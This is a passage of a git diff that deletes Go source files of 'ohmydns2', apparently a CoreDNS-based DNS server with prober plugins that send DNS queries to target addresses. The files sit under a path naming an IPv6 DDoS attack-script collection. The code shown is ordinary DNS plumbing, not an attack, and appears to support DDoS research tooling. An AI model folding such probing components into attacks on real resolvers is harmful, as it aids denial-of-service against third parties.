if len(r.Req.Question) == 0 { - return "." - } - - return dns.Name(r.Req.Question[0].Name).String() -} - -// Class returns the class of the question in the request. -// If the request is malformed the empty string is returned. -func (r *Request) Class() string { - if r.Req == nil { - return "" - } - if len(r.Req.Question) == 0 { - return "" - } - - return dns.Class(r.Req.Question[0].Qclass).String() -} - -// QClass returns the class of the question in the request. -// If the request is malformed 0 returned. -func (r *Request) QClass() uint16 { - if r.Req == nil { - return 0 - } - if len(r.Req.Question) == 0 { - return 0 - } - - return r.Req.Question[0].Qclass -} - -// Clear clears all caching from Request s. -func (r *Request) Clear() { - r.name = "" - r.ip = "" - r.localIP = "" - r.port = "" - r.localPort = "" - r.family = 0 - r.size = 0 - r.do = false -} - -// Match checks if the reply matches the qname and qtype from the request, it returns -// false when they don't match. -func (r *Request) Match(reply *dns.Msg) bool { - if len(reply.Question) != 1 { - return false - } - - if !reply.Response { - return false - } - - if strings.ToLower(reply.Question[0].Name) != r.Name() { - return false - } - - if reply.Question[0].Qtype != r.QType() { - return false - } - - return true -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/writer.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/writer.go" deleted file mode 100644 index 587b3b5..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/writer.go" +++ /dev/null @@ -1,21 +0,0 @@ -package request - -import "github.com/miekg/dns" - -// ScrubWriter will, when writing the message, call scrub to make it fit the client's buffer. -type ScrubWriter struct { - dns.ResponseWriter - req *dns.Msg // original request -} - -// NewScrubWriter returns a new and initialized ScrubWriter. -func NewScrubWriter(req *dns.Msg, w dns.ResponseWriter) *ScrubWriter { return &ScrubWriter{w, req} } - -// WriteMsg overrides the default implementation of the underlying dns.ResponseWriter and calls -// scrub on the message m and will then write it to the client. -func (s *ScrubWriter) WriteMsg(m *dns.Msg) error { - state := Request{Req: s.req, W: s.ResponseWriter} - state.SizeAndDo(m) - state.Scrub(m) - return s.ResponseWriter.WriteMsg(m) -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/classify.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/classify.go" deleted file mode 100644 index 2e705cb..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/classify.go" +++ /dev/null @@ -1,61 +0,0 @@ -package response - -import "fmt" - -// Class holds sets of Types -type Class int - -const ( - // All is a meta class encompassing all the classes. - All Class = iota - // Success is a class for a successful response. - Success - // Denial is a class for denying existence (NXDOMAIN, or a nodata: type does not exist) - Denial - // Error is a class for errors, right now defined as not Success and not Denial - Error -) - -func (c Class) String() string { - switch c { - case All: - return "all" - case Success: - return "success" - case Denial: - return "denial" - case Error: - return "error" - } - return "" -} - -// ClassFromString returns the class from the string s. If not class matches -// the All class and an error are returned -func ClassFromString(s string) (Class, error) { - switch s { - case "all": - return All, nil - case "success": - return Success, nil - case "denial": - return Denial, nil - case "error": - return Error, nil - } - return All, fmt.Errorf("invalid Class: %s", s) -} - -// Classify classifies the Type t, it returns its Class. -func Classify(t Type) Class { - switch t { - case NoError, Delegation: - return Success - case NameError, NoData: - return Denial - case OtherError: - fallthrough - default: - return Error - } -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/type.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/type.go" deleted file mode 100644 index ca42202..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/type.go" +++ /dev/null @@ -1,150 +0,0 @@ -package response - -import ( - "fmt" - "github.com/miekg/dns" - "time" -) - -// Type is the type of the message. -type Type int - -const ( - // NoError indicates a positive reply - NoError Type = iota - // NameError is a NXDOMAIN in header, SOA in auth. - NameError - // ServerError is a set of errors we want to cache, for now it contains SERVFAIL and NOTIMPL. - ServerError - // NoData indicates name found, but not the type: NOERROR in header, SOA in auth. - NoData - // Delegation is a msg with a pointer to another nameserver: NOERROR in header, NS in auth, optionally fluff in additional (not checked). - Delegation - // Meta indicates a meta message, NOTIFY, or a transfer: qType is IXFR or AXFR. - Meta - // Update is an dynamic update message. - Update - // OtherError indicates any other error: don't cache these. - OtherError -) - -var toString = map[Type]string{ - NoError: "NOERROR", - NameError: "NXDOMAIN", - ServerError: "SERVERERROR", - NoData: "NODATA", - Delegation: "DELEGATION", - Meta: "META", - Update: "UPDATE", - OtherError: "OTHERERROR", -} - -func (t Type) String() string { return toString[t] } - -// TypeFromString returns the type from the string s. If not type matches -// the OtherError type and an error are returned. -func TypeFromString(s string) (Type, error) { - for t, str := range toString { - if s == str { - return t, nil - } - } - return NoError, fmt.Errorf("invalid Type: %s", s) -} - -// Typify classifies a message, it returns the Type. -func Typify(m *dns.Msg, t time.Time) (Type, *dns.OPT) { - if m == nil { - return OtherError, nil - } - opt := m.IsEdns0() - do := false - if opt != nil { - do = opt.Do() - } - - if m.Opcode == dns.OpcodeUpdate { - return Update, opt - } - - // Check transfer and update first - if m.Opcode == dns.OpcodeNotify { - return Meta, opt - } - - if len(m.Question) > 0 { - if m.Question[0].Qtype == dns.TypeAXFR || m.Question[0].Qtype == dns.TypeIXFR { - return Meta, opt - } - } - - // If our message contains any expired sigs and we care about that, we should return expired - if do { - if expired := typifyExpired(m, t); expired { - return OtherError, opt - } - } - - if len(m.Answer) > 0 && m.Rcode == dns.RcodeSuccess { - return NoError, opt - } - - soa := false - ns := 0 - for _, r := range m.Ns { - if r.Header().Rrtype == dns.TypeSOA { - soa = true - continue - } - if r.Header().Rrtype == dns.TypeNS { - ns++ - } - } - - if soa && m.Rcode == dns.RcodeSuccess { - return NoData, opt - } - if soa && m.Rcode == dns.RcodeNameError { - return NameError, opt - } - - if m.Rcode == dns.RcodeServerFailure || m.Rcode == dns.RcodeNotImplemented { - return ServerError, opt - } - - if ns > 0 && m.Rcode == dns.RcodeSuccess { - return Delegation, opt - } - - if m.Rcode == dns.RcodeSuccess { - return NoError, opt - } - - return OtherError, opt -} - -func typifyExpired(m *dns.Msg, t time.Time) bool { - if expired := typifyExpiredRRSIG(m.Answer, t); expired { - return true - } - if expired := typifyExpiredRRSIG(m.Ns, t); expired { - return true - } - if expired := typifyExpiredRRSIG(m.Extra, t); expired { - return true - } - return false -} - -func typifyExpiredRRSIG(rrs []dns.RR, t time.Time) bool { - for _, r := range rrs { - if r.Header().Rrtype != dns.TypeRRSIG { - continue - } - ok := r.(*dns.RRSIG).ValidityPeriod(t) - if !ok { - return true - } - } - return false -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_no_reuseport.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_no_reuseport.go" deleted file mode 100644 index 2a15026..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_no_reuseport.go" +++ /dev/null @@ -1,13 +0,0 @@ -//go:build !go1.11 || (!aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd) - -package reuseport - -import "net" - -// Listen is a wrapper around net.Listen. -func Listen(network, addr string) (net.Listener, error) { return net.Listen(network, addr) } - -// ListenPacket is a wrapper around net.ListenPacket. -func ListenPacket(network, addr string) (net.PacketConn, error) { - return net.ListenPacket(network, addr) -} \ No newline at end of file diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_reuseport.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_reuseport.go" deleted file mode 100644 index 6143c02..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_reuseport.go" +++ /dev/null @@ -1,35 +0,0 @@ -//go:build go1.11 && (aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd) -package reuseport - -import ( - "context" - "net" - "syscall" - - "ohmydns2/plugin/pkg/log" - - "golang.org/x/sys/unix" -) - -func control(network, address string, c syscall.RawConn) error { - c.Control(func(fd uintptr) { - if err := unix.SetsockoptInt(int(fd), unix.SOL_SOCKET, unix.SO_REUSEPORT, 1); err != nil { - log.Warningf("Failed to set SO_REUSEPORT on socket: %s", err) - } - }) - return nil -} - -// Listen announces on the local network address. See net.Listen for more information. -// If SO_REUSEPORT is available it will be set on the socket. -func Listen(network, addr string) (net.Listener, error) { - lc := net.ListenConfig{Control: control} - return lc.Listen(context.Background(), network, addr) -} - -// ListenPacket announces on the local network address. See net.ListenPacket for more information. -// If SO_REUSEPORT is available it will be set on the socket. -func ListenPacket(network, addr string) (net.PacketConn, error) { - lc := net.ListenConfig{Control: control} - return lc.ListenPacket(context.Background(), network, addr) -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/tls/tls.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/tls/tls.go" deleted file mode 100644 index 41eff4b..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/tls/tls.go" +++ /dev/null @@ -1,149 +0,0 @@ -package tls - -import ( - "crypto/tls" - "crypto/x509" - "fmt" - "net" - "net/http" - "os" - "path/filepath" - "time" -) - -func setTLSDefaults(ctls *tls.Config) { - ctls.MinVersion = tls.VersionTLS12 - ctls.MaxVersion = tls.VersionTLS13 - ctls.CipherSuites = []uint16{ - tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, - tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, - tls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305, - tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305, - tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, - tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, - tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, - tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, - tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, - } -} - -// NewTLSConfigFromArgs returns a TLS config based upon the passed -// in list of arguments. Typically these come straight from the -// Corefile. -// no args -// - creates a Config with no cert and using system CAs -// - use for a client that talks to a server with a public signed cert (CA installed in system) -// - the client will not be authenticated by the server since there is no cert -// -// one arg: the path to CA PEM file -// - creates a Config with no cert using a specific CA -// - use for a client that talks to a server with a private signed cert (CA not installed in system) -// - the client will not be authenticated by the server since there is no cert -// -// two args: path to cert PEM file, the path to private key PEM file -// - creates a Config with a cert, using system CAs to validate the other end -// - use for: -// - a server; or, -// - a client that talks to a server with a public cert and needs certificate-based authentication -// - the other end will authenticate this end via the provided cert -// - the cert of the other end will be verified via system CAs -// -// three args: path to cert PEM file, path to client private key PEM file, path to CA PEM file -// - creates a Config with the cert, using specified CA to validate the other end -// - use for: -// - a server; or, -// - a client that talks to a server with a privately signed cert and needs certificate-based -// authentication -// - the other end will authenticate this end via the provided cert -// - this end will verify the other end's cert using the specified CA -func NewTLSConfigFromArgs(args ...string) (*tls.Config, error) { - var err error - var c *tls.Config - switch len(args) { - case 0: - // No client cert, use system CA - c, err = NewTLSClientConfig("") - case 1: - // No client cert, use specified CA - c, err = NewTLSClientConfig(args[0]) - case 2: - // Client cert, use system CA - c, err = NewTLSConfig(args[0], args[1], "") - case 3: - // Client cert, use specified CA - c, err = NewTLSConfig(args[0], args[1], args[2]) - default: - err = fmt.Errorf("maximum of three arguments allowed for TLS config, found %d", len(args)) - } - if err != nil { - return nil, err - } - return c, nil -} - -// NewTLSConfig returns a TLS config that includes a certificate -// Use for server TLS config or when using a client certificate -// If caPath is empty, system CAs will be used -func NewTLSConfig(certPath, keyPath, caPath string) (*tls.Config, error) { - cert, err := tls.LoadX509KeyPair(certPath, keyPath) - if err != nil { - return nil, fmt.Errorf("could not load TLS cert: %s", err) - } - - roots, err := loadRoots(caPath) - if err != nil { - return nil, err - } - - tlsConfig := &tls.Config{Certificates: []tls.Certificate{cert}, RootCAs: roots} - setTLSDefaults(tlsConfig) - - return tlsConfig, nil -} - -// NewTLSClientConfig returns a TLS config for a client connection -// If caPath is empty, system CAs will be used -func NewTLSClientConfig(caPath string) (*tls.Config, error) { - roots, err := loadRoots(caPath) - if err != nil { - return nil, err - } - - tlsConfig := &tls.Config{RootCAs: roots} - setTLSDefaults(tlsConfig) - - return tlsConfig, nil -} - -func loadRoots(caPath string) (*x509.CertPool, error) { - if caPath == "" { - return nil, nil - } - - roots := x509.NewCertPool() - pem, err := os.ReadFile(filepath.Clean(caPath)) - if err != nil { - return nil, fmt.Errorf("error reading %s: %s", caPath, err) - } - ok := roots.AppendCertsFromPEM(pem) - if !ok { - return nil, fmt.Errorf("could not read root certs: %s", err) - } - return roots, nil -} - -// NewHTTPSTransport returns an HTTP transport configured using tls.Config -func NewHTTPSTransport(cc *tls.Config) *http.Transport { - tr := &http.Transport{ - Proxy: http.ProxyFromEnvironment, - Dial: (&net.Dialer{ - Timeout: 30 * time.Second, - KeepAlive: 30 * time.Second, - }).Dial, - TLSHandshakeTimeout: 10 * time.Second, - TLSClientConfig: cc, - MaxIdleConnsPerHost: 25, - } - - return tr -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/trace/trace.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/trace/trace.go" deleted file mode 100644 index f9255db..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/trace/trace.go" +++ /dev/null @@ -1,7 +0,0 @@ -package trace - -import ot "github.com/opentracing/opentracing-go" - -type Trace interface { - Tracer() ot.Tracer -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/transport/transport.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/transport/transport.go" deleted file mode 100644 index 742d4af..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/transport/transport.go" +++ /dev/null @@ -1,26 +0,0 @@ -package transport - -// These transports are supported by OhmyDNS. -const ( - DNS = "dns" - TLS = "tls" - GRPC = "grpc" - HTTPS = "https" - UNIX = "unix" - PROBER = "prober" - PROBERTRAN = "http" -) - -// Port numbers for the various transports. -const ( - // Port is the default port for DNS - Port = "53" - // TLSPort is the default port for DNS-over-TLS. - TLSPort = "853" - // GRPCPort is the default port for DNS-over-gRPC. - GRPCPort = "443" - // HTTPSPort is the default port for DNS-over-HTTPS. - HTTPSPort = "443" - // PHTTPPort 是默认的探测器api调用端口 - PROBERPort = "2115" -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/uniq/uniq.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/uniq/uniq.go" deleted file mode 100644 index 5f95e41..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/uniq/uniq.go" +++ /dev/null @@ -1,46 +0,0 @@ -// Package uniq keeps track of "thing" that are either "todo" or "done". Multiple -// identical events will only be processed once. -package uniq - -// U keeps track of item to be done. -type U struct { - u map[string]item -} - -type item struct { - state int // either todo or done - f func() error // function to be executed. -} - -// New returns a new initialized U. -func New() U { return U{u: make(map[string]item)} } - -// Set sets function f in U under key. If the key already exists it is not overwritten. -func (u U) Set(key string, f func() error) { - if _, ok := u.u[key]; ok { - return - } - u.u[key] = item{todo, f} -} - -// Unset removes the key. -func (u U) Unset(key string) { - delete(u.u, key) -} - -// ForEach iterates over u and executes f for each element that is 'todo' and sets it to 'done'. -func (u U) ForEach() error { - for k, v := range u.u { - if v.state == todo { - v.f() - } - v.state = done - u.u[k] = v - } - return nil -} - -const ( - todo = 1 - done = 2 -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/up/up.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/up/up.go" deleted file mode 100644 index 1e59acc..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/up/up.go" +++ /dev/null @@ -1,80 +0,0 @@ -// Package up is used to run a function for some duration. If a new function is added while a previous run is -// still ongoing, nothing new will be executed. -package up - -import ( - "sync" - "time" -) - -// Probe is used to run a single Func until it returns true (indicating a target is healthy). If an Func -// is already in progress no new one will be added, i.e. there is always a maximum of 1 checks in flight. -// -// There is a tradeoff to be made in figuring out quickly that an upstream is healthy and not doing to much work -// (sending queries) to find that out. Having some kind of exp. backoff here won't help much, because you don't won't -// to backoff too much. You then also need random queries to be perfomed every so often to quickly detect a working -// upstream. In the end we just send a query every 0.5 second to check the upstream. This hopefully strikes a balance -// between getting information about the upstream state quickly and not doing too much work. Note that 0.5s is still an -// eternity in DNS, so we may actually want to shorten it. -type Probe struct { - sync.Mutex - inprogress int - interval time.Duration -} - -// Func is used to determine if a target is alive. If so this function must return nil. -type Func func() error - -// New returns a pointer to an initialized Probe. -func New() *Probe { return &Probe{} } - -// Do will probe target, if a probe is already in progress this is a noop. -func (p *Probe) Do(f Func) { - p.Lock() - if p.inprogress != idle { - p.Unlock() - return - } - p.inprogress = active - interval := p.interval - p.Unlock() - // Passed the lock. Now run f for as long it returns false. If a true is returned - // we return from the goroutine and we can accept another Func to run. - go func() { - for { - if err := f(); err == nil { - break - } - time.Sleep(interval) - p.Lock() - if p.inprogress == stop { - p.Unlock() - return - } - p.Unlock() - } - p.Lock() - p.inprogress = idle - p.Unlock() - }() -} - -// Stop stops the probing. -func (p *Probe) Stop() { - p.Lock() - p.inprogress = stop - p.Unlock() -} - -// Start will initialize the probe manager, after which probes can be initiated with Do. -func (p *Probe) Start(interval time.Duration) { - p.Lock() - p.interval = interval - p.Unlock() -} - -const ( - idle = iota - active - stop -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin.go" deleted file mode 100644 index 3153b58..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin.go" +++ /dev/null @@ -1,109 +0,0 @@ -package plugin - -import ( - "context" - "errors" - "fmt" - "github.com/miekg/dns" - ot "github.com/opentracing/opentracing-go" - "github.com/prometheus/client_golang/prometheus" -) - -type ( - // Plugin 是一个中间层,它定义了一个插件传递链,前一个 Handler 处理完成之后将紧接着传递到下一个 Handler。 - Plugin func(Handler) Handler - - // Handler is like dns.Handler except ServeDNS may return an rcode - // and/or error. - // - // If ServeDNS writes to the response body, it should return a status - // code. CoreDNS assumes *no* reply has yet been written if the status - // code is one of the following: - // - // * SERVFAIL (dns.RcodeServerFailure) - // - // * REFUSED (dns.RecodeRefused) - // - // * FORMERR (dns.RcodeFormatError) - // - // * NOTIMP (dns.RcodeNotImplemented) - // - // All other response codes signal other handlers above it that the - // response message is already written, and that they should not write - // to it also. - // - // If ServeDNS encounters an error, it should return the error value - // so it can be logged by designated error-handling plugin. - // - // If writing a response after calling another ServeDNS method, the - // returned rcode SHOULD be used when writing the response. - // - // If handling errors after calling another ServeDNS method, the - // returned error value SHOULD be logged or handled accordingly. - // - // Otherwise, return values should be propagated down the plugin - // chain by returning them unchanged. - Handler interface { - ServeDNS(context.Context, dns.ResponseWriter, *dns.Msg) (int, error) - Name() string - } - - // HandlerFunc is a convenience type like dns.HandlerFunc, except - // ServeDNS returns an rcode and an error. See Handler - // documentation for more information. - HandlerFunc func(context.Context, dns.ResponseWriter, *dns.Msg) (int, error) -) - -// ServeDNS implements the Handler interface. -func (f HandlerFunc) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { - return f(ctx, w, r) -} - -// Name implements the Handler interface. -func (f HandlerFunc) Name() string { return "handlerfunc" } - -// Error returns err with 'plugin/name: ' prefixed to it. -func Error(name string, err error) error { return fmt.Errorf("%s/%s: %s", "plugin", name, err) } - -// NextOrFailure calls next.ServeDNS when next is not nil, otherwise it will return, a ServerFailure and a `no next plugin found` error. -func NextOrFailure(name string, next Handler, ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { // nolint: golint - if next != nil { - if span := ot.SpanFromContext(ctx); span != nil { - child := span.Tracer().StartSpan(next.Name(), ot.ChildOf(span.Context())) - defer child.Finish() - ctx = ot.ContextWithSpan(ctx, child) - } - return next.ServeDNS(ctx, w, r) - } - - return dns.RcodeServerFailure, Error(name, errors.New("no next plugin found")) -} - -// ClientWrite returns true if the response has been written to the client. -// Each plugin to adhere to this protocol. -func ClientWrite(rcode int) bool { - switch rcode { - case dns.RcodeServerFailure: - fallthrough - case dns.RcodeRefused: - fallthrough - case dns.RcodeFormatError: - fallthrough - case dns.RcodeNotImplemented: - return false - } - return true -} - -// Namespace is the namespace used for the metrics. -const Namespace = "ohmydns2" - -// 普罗米修斯监控 -// TimeBuckets is based on Prometheus client_golang prometheus.DefBuckets -var TimeBuckets = prometheus.ExponentialBuckets(0.00025, 2, 16) // from 0.25ms to 8 seconds - -// SlimTimeBuckets is low cardinality set of duration buckets. -var SlimTimeBuckets = prometheus.ExponentialBuckets(0.00025, 10, 5) // from 0.25ms to 2.5 seconds - -// ErrOnce is returned when a plugin doesn't support multiple setups per server. -var ErrOnce = errors.New("this plugin can only be used once per Server Block") diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin_prober.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin_prober.go" deleted file mode 100644 index cf18468..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin_prober.go" +++ /dev/null @@ -1,99 +0,0 @@ -package plugin - -import ( - "context" - "errors" - "fmt" - "github.com/miekg/dns" - ot "github.com/opentracing/opentracing-go" - "net/http" -) - -type ( - // Pplugin 是一个中间层,它定义了一个用于探测的插件传递链,前一个 Handler 处理完成之后将紧接着传递到下一个 Handler。 - Pplugin func(Prober) Prober - - // Prober except ProbeDNS may return an rcode - // and/or error. - // - // If ProbeDNS writes to the request body, it should return a status - // code. OhmyDNS2 assumes *no* reply has yet been written if the status - // code is one of the following: - // - // * SERVFAIL (dns.RcodeServerFailure) - // - // * REFUSED (dns.RecodeRefused) - // - // * FORMERR (dns.RcodeFormatError) - // - // * NOTIMP (dns.RcodeNotImplemented) - // - // All other response codes signal other handlers above it that the - // response message is already written, and that they should not write - // to it also. - // - // If ServeDNS encounters an error, it should return the error value - // so it can be logged by designated error-handling plugin. - // - // If writing a response after calling another ServeDNS method, the - // returned rcode SHOULD be used when writing the response. - // - // If handling errors after calling another ServeDNS method, the - // returned error value SHOULD be logged or handled accordingly. - // - // Otherwise, return values should be propagated down the plugin - // chain by returning them unchanged. - Prober interface { - ProbeDNS(context.Context, *dns.Client, *dns.Msg) (int, error) - Name() string - } - - // ProberFunc is a convenience type, except - // ProbeDNS returns an rcode and an error. See Handler - // documentation for more information. - ProberFunc func(context.Context, *dns.Client, *dns.Msg) (int, error) -) - -// ServeDNS implements the Handler interface. -func (p ProberFunc) ProbeDNS(ctx context.Context, c *dns.Client, msg *dns.Msg) (int, error) { - return p(ctx, c, msg) -} - -// Name implements the Handler interface. -func (p ProberFunc) Name() string { return "proberfunc" } - -// PError returns err with 'plugin/name: ' prefixed to it. -func PError(name string, err error) error { return fmt.Errorf("%s/%s: %s", "prober-plugin", name, err) } - -// PNextOrFailure calls next.ProbeDNS when next is not nil, otherwise it will return, a ServerFailure and a `no next plugin found` error. -func PNextOrFailure(name string, next Prober, ctx context.Context, c *dns.Client, msg *dns.Msg) (int, error) { // nolint: golint - if next != nil { - if span := ot.SpanFromContext(ctx); span != nil { - child := span.Tracer().StartSpan(next.Name(), ot.ChildOf(span.Context())) - defer child.Finish() - ctx = ot.ContextWithSpan(ctx, child) - } - return next.ProbeDNS(ctx, c, msg) - } - - return http.StatusInternalServerError, Error(name, errors.New("no next plugin found")) -} - -// HTTPClientWrite returns true if the response has been written to the client. -// Each plugin to adhere to this protocol. -func HTTPClientWrite(rcode int) bool { - switch rcode { - case http.StatusInternalServerError: - fallthrough - case http.StatusForbidden: - fallthrough - case http.StatusBadRequest: - fallthrough - case http.StatusNotImplemented: - return false - } - return true -} - -// PErrOnce is returned when a plugin doesn't support multiple setups per server. -var PErrOnce = errors.New("this plugin can only be used once per Server Block") diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/probe53.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/probe53.go" deleted file mode 100644 index b39bda2..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/probe53.go" +++ /dev/null @@ -1,27 +0,0 @@ -package probe53 - -import ( - "context" - "github.com/miekg/dns" - "net" - "ohmydns2/plugin/pkg/prober" -) - -type Probe53 struct { -} - -func (p Probe53) ProbeDNS(ctx context.Context, client *dns.Client, msg *dns.Msg) (int, error) { - // ip+port作为目标 - _, _, err := client.Exchange(msg, ctx.Value(target).(net.IP).String()+":53") - if err != nil { - logger.Errorf("探测%v发生错误,原因为: %v", ctx.Value(target).(net.IP).String(), err.Error()) - return 1, err - } - return 0, nil -} - -func (p Probe53) Name() string { - return "probe53" -} - -var target = prober.Target diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/setup.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/setup.go" deleted file mode 100644 index cb3fb2b..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/setup.go" +++ /dev/null @@ -1,23 +0,0 @@ -package probe53 - -import ( - "github.com/coredns/caddy" - "ohmydns2/core/prober" - "ohmydns2/plugin" - "ohmydns2/plugin/pkg/log" - //"ohmydns2/plugin/pkg/prober" -) - -func init() { - plugin.ProbeRegister("probe53", setup) -} - -func setup(c *caddy.Controller) error { - p := new(Probe53) - prober.GetPBConfig(c).AddPlugin(func(next plugin.Prober) plugin.Prober { - return p - }) - return nil -} - -var logger = log.NewWithPlugin("probe53") diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qname.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qname.go" deleted file mode 100644 index 1776f73..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qname.go" +++ /dev/null @@ -1,89 +0,0 @@ -package qname - -import ( - "context" - "errors" - "github.com/miekg/dns" - "github.com/pochard/commons/randstr" - "net" - "ohmydns2/plugin" - "ohmydns2/plugin/pkg/prober" - "strconv" - "strings" -) - -type Qname struct { - next plugin.Prober - setFromFile string - targetip net.IP -} - -func (q Qname) ProbeDNS(ctx context.Context, c *dns.Client, msg *dns.Msg) (int, error) { - param := ctx.Value(prober.Paramkey).(map[string][]string) - // 